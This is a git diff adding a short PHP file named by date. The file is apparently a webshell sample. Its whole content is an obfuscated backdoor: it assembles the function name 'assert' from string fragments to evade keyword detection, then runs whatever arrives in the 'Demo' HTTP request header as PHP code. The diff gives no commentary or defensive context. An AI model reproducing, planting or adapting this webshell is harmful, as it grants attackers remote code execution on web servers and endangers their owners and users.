diff --git a/php/2022-09-09-04.php b/php/2022-09-09-04.php
new file mode 100644
index 0000000..ff90a0d
--- /dev/null
+++ b/php/2022-09-09-04.php
@@ -0,0 +1,8 @@
+<?php
+session_start();
+$a = "a";
+$s = "s";
+$c=$a.$s."sert";
+$c(getallheaders()['Demo']);
+
+?>